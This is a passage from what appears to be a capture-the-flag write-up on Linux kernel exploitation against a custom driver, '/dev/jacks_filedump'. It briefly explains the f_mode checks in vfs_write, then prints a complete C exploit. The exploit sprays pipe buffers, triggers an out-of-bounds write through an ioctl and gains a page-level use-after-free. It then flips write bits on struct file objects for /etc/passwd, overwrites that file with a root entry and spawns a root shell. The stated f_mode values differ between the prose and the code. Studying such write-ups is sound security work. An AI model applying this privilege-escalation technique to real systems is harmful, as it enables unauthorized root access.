0xffff88801f0b60d0:     0xffffffff8242a4c0      0xffff888004302b18
0xffff88801f0b60e0:     0x0000000000000000      0xffff8880043029a8
0xffff88801f0b60f0:     0x0000000000008000      0xffff888005597b40
0xffff88801f0b6100:     0xffff888003fa3820      0xffff8880040593c0
0xffff88801f0b6110:     0x0000000000000000      0x0000000000000000
0xffff88801f0b6120:     0xffff88801f0b6120      0xffff88801f0b6120
0xffff88801f0b6130:     0x0000000000000000      0xffff88801f0aee90
0xffff88801f0b6140:     0x0000000000000000      0x0000000000000000
0xffff88801f0b6150:     0x0000000000000000      0x0000000000000000
0xffff88801f0b6160:     0x0000000000000000      0x0000000000000020
0xffff88801f0b6170:     0xffffffffffffffff      0x0000000000000000

The value of file->f_mode is 0x084a801d. Both FMODE_WRITE (1 << 1) and FMODE_CAN_WRITE (1 << 18) are set to 0, which will fail the following checks in vfs_write():

ssize_t vfs_write(struct file *file, const char __user *buf, size_t count,
                  loff_t *pos)
{
    ssize_t ret;
 
    if (!(file->f_mode & FMODE_WRITE))
        return -EBADF;
    if (!(file->f_mode & FMODE_CAN_WRITE))
        return -EINVAL;
    // ..
}

Our write primitive should set the value to 0x084a80d | FMODE_WRITE | FMODE_CAN_WRITE, which is 0x84e801f.

To see if this succeeds, we simply try to write to every single file that we’ve opened, and if write() doesn’t return -1, we would have successfully written to the file. If so, /etc/passwd will already be overwritten, and we can exit the program and login as root!

Exploit

Full exploit:

#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <errno.h>
#include <assert.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <time.h>
#include <unistd.h>
#include <sched.h>
#include <sys/resource.h>
 
int fd = 0;
 
void pprintf(char *str, ...) {
  printf("[*] ");
  va_list args;
  va_start(args, str);
  vprintf(str, args);
  printf("\n");
}
 
void pprintfc(char *str, ...) {
  printf("\33[2K\r[*] ");
  va_list args;
  va_start(args, str);
  vprintf(str, args);
}
 
 
void ppause(char *str, ...) {
  printf("[-] ");
  va_list args;
  va_start(args, str);
  vprintf(str, args);
  printf("\n");
  getchar();
}
 
void open_dev() {
  fd = open("/dev/jacks_filedump", O_RDWR);
}
 
void get_shell() {
  system("/bin/sh");
}
 
#define CREATE_SECRET_MESSAGE 0xc010ca00
#define WRITE_SECRET_MESSAGE 0xc010ca01
 
struct req {
    uint64_t size;
    uint64_t message;
};
 
int do_create_secret_message(size_t size) {
  struct req user_req;
  user_req.size = size;
  return ioctl(fd, CREATE_SECRET_MESSAGE, &user_req);
}
 
#define NUM_SPRAY_FILE 0x400
 
#define pipe_buf_spray 0x40
int pipe_buf_fds[pipe_buf_spray][2];
 
size_t buf[24];
 
void do_pipe_buf_spray() {
  // size of file is 0xc0, we write until the next file
  buf[1] = 0xcafebabe;
  buf[2] = 0xdeadbeef;
  buf[3] = 0xdeadbabe;
  buf[4] = 0xcafebeef;
  buf[5] = 0xcafebabe;
  buf[6] = 0xdeadbeef;
  buf[7] = 0xdeadbabe;
  buf[8] = 0xcafebeef;
  buf[9] = 0xcafebeef;
  buf[10] = 0xcafebeef;
  buf[11] = 0xcafebeef;
  buf[12] = 0xcafebeef;
  buf[13] = 0xcafebeef;
  buf[14] = 0xcafebeef;
  buf[15] = 0xcafebeef;
  buf[16] = 0xcafebeef;
  buf[17] = 0xcafebeef;
  buf[18] = 0xcafebeef;
  buf[19] = 0xcafebeef;
  buf[20] = 0xcafebeef;
  buf[21] = 0xcafebeef;
  buf[22] = 0xcafebeef;
  buf[23] = 0xcafebeef;
 
  for (int i = 0; i < pipe_buf_spray / 2; i++) {
    buf[0] = i;
    assert(pipe(pipe_buf_fds[i]) != -1);
    // need to write 0x90 more to victim only
    assert(write(pipe_buf_fds[i][1], &buf[0], 0x8) != -1);
    assert(write(pipe_buf_fds[i][1], &buf[1], 0x28) != -1);
  }
 
  do_create_secret_message(0x400 / 2);
 
  for (int i = pipe_buf_spray / 2; i < pipe_buf_spray; i++) {
    buf[0] = i;
    assert(pipe(pipe_buf_fds[i]) != -1);
    // need to write 0x90 more to victim only
    assert(write(pipe_buf_fds[i][1], &buf[0], 0x8) != -1);
    assert(write(pipe_buf_fds[i][1], &buf[1], 0x28) != -1); 
  }
}
 
int do_oob() {
  struct req user_req;
 
  uint16_t payload[0x200] = { 1 };
  memset(payload, 0x1, 0x200*2);
 
  user_req.size = 0x200;
  user_req.message = *payload;
 
  assert(ioctl(fd, WRITE_SECRET_MESSAGE, &user_req) != -1);
}
 
void find_victim_pipe_buf(size_t* idx1, size_t* idx2) {
  for (int i = 0; i < pipe_buf_spray; i++) {
    if (i == 3 * pipe_buf_spray / 4) continue;
    size_t buf[2];
    assert(read(pipe_buf_fds[i][0], buf, 0x10) != -1);
    if (buf[0] != i) {
      pprintf("found mismatch %p at idx %p", buf[0], i);
      assert(0 <= buf[0] && buf[0] < pipe_buf_spray);
      *idx1 = buf[0];
      *idx2 = i;
      break;
    }
  }
  assert(*idx1 != *idx2);
}
 
void free_pipe_buf(size_t original) {
  assert(close(pipe_buf_fds[original][0]) != -1);
  assert(close(pipe_buf_fds[original][1]) != -1);
}
 
cpu_set_t cpu_set;
 
int main() {
  CPU_ZERO(&cpu_set);
  CPU_SET(0, &cpu_set);
  sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
 
  open_dev();
  pprintf("opened device on fd %d, starting exploit", fd);
 
  // pre-spray some files to fill up filp cache
  for (int i = 0; i < NUM_SPRAY_FILE; i++) {
      open("/etc/passwd", O_RDONLY);
  }
 
  // spray pipe bufs and insert attacker object somewhere in middle
  do_pipe_buf_spray();
  pprintf("do_pipe_buf_spray()");
 
  do_oob();
  pprintf("do_oob()");
 
  // at this point we should have overwritten one of the pages
  // lets find the victim pipe_buf
  size_t original = 0;
  size_t victim = 0;
  find_victim_pipe_buf(&original, &victim);
  pprintf("find_victim_pipe_buf()");
 
  free_pipe_buf(original);
  pprintf("free_victim_pipe_bufs()");
 
  // now we have page-level uaf via victim
  // fill to the next file object
  write(pipe_buf_fds[victim][1], &buf[5], 0x90);
 
  // spray a few more files, no need for a lot since we already drained the filp beforehand
  size_t final_file_spray = 0x200;
  int filefds[final_file_spray];
  for (int i = 0; i < final_file_spray; i++) {
      filefds[i]= open("/etc/passwd", O_RDONLY);
      assert(filefds[i] != -1);
  }
  pprintf("sprayed struct file of /etc/passwd");
 
  uint32_t tmp[0x10];
  tmp[0] = 0x1;
  tmp[1] = 0x0;
  tmp[2] = 0x0;
  tmp[3] = 0x080e801f;
  pprintf("%d", write(pipe_buf_fds[victim][1], tmp, 0x10));
  pprintf("%s", strerror(errno));
  pprintf("edit pwd file->f_mode");
 
  char payload[] = "root:$1$deadbeef$j9ep0CjBGivAnD5z6l5rr0:0:0:root:/root:/bin/bash\n";
 
  for (int i = 0; i < final_file_spray; i++) {
    if (write(filefds[i], payload, sizeof(payload)) > 0) {
      pprintf("write success at fptr %d! password is cafebabe", i);
      for (int i = 0; i < final_file_spray; i++) {
        close(filefds[i]);
      }
      // might fail because too many files open
      system("su -c '/bin/bash'");
      exit(0);
      break;
    }
  }
  pprintf("failed");
  exit(-1);
}